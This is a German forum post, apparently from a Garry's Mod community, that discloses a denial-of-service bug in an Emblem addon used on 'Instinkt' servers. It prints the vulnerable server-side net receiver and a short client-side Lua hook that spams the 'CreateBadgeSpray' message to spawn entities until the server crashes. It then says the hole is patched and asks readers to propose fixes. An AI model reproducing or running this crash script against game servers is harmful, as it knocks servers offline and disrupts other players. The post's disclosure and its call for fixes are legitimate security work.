How 2 crash Instinkt server 10/10

    • How 2 crash Instinkt server 10/10

      vor nicht all zu langer zeit *gestern* ist mir ein exploit auf den instinkt servern aufgefallen er hat mit einem Entity overflow zutun der durch das Emblem addon verursacht wird.
      Hierbei wird an den Server Eine anfrage auf das Spanen des Emblem Sprays gesendet, jedoch wird das Serverseitig falsch gehandhabt was zu einem Crash des Server's führt.

      Quellcode

      1. net.Receive("CreateBadgeSpray",function(l,ply)
      2. if(ply.Emblem && ply:GetEyeTrace().HitWorld) then
      3. if(ply:GetEyeTrace().HitPos:Distance(ply:EyePos()) < 128) then
      4. local ent = ents.Create("sent_spraylogo")
      5. ent:SetPos(ply:GetEyeTrace().HitPos + ply:GetEyeTrace().HitNormal*0.025)
      6. ent:Spawn()
      7. ent:Create(ply,ply:GetEyeTrace().HitNormal)
      8. ply:EmitSound("player/sprayer.wav")
      9. end
      10. end
      11. end)
      Alles anzeigen
      Es wird führ jedes Spray ein neues Entity gesapawnt was dazu führt das irgend wann der server zuviel Entity's hat und abstürzt.

      Wie Exploite ich die Schwachstelle ?

      Quellcode

      1. hook.Add( "Think" , "" , function()
      2. for k = 0 , 100 do
      3. net.Start("CreateBadgeSpray")
      4. net.SendToServer()
      5. end
      6. end)
      Ich spamme einfach den Reciever während ich auf den Boden oder ähnliches schau dadurch das der server führ jedes spray ein neues Entity spawnt overflow't' er in nur wenigen Sekunden..



      So da ich weiß das die Schwachstelle gefixt ist ( ich habe intinkt ein Patch gegeben und es wurde der Creator benachrichtigt ) habe ich mal eine Aufgabe( ja ihr müsst denken ):

      Wie würdet ihr am Effizientesten den Exploit fixen schreibt ein Code oder Eure Ideen hier als Kommentare :thumbsup:

      <3 K03 <3
      ">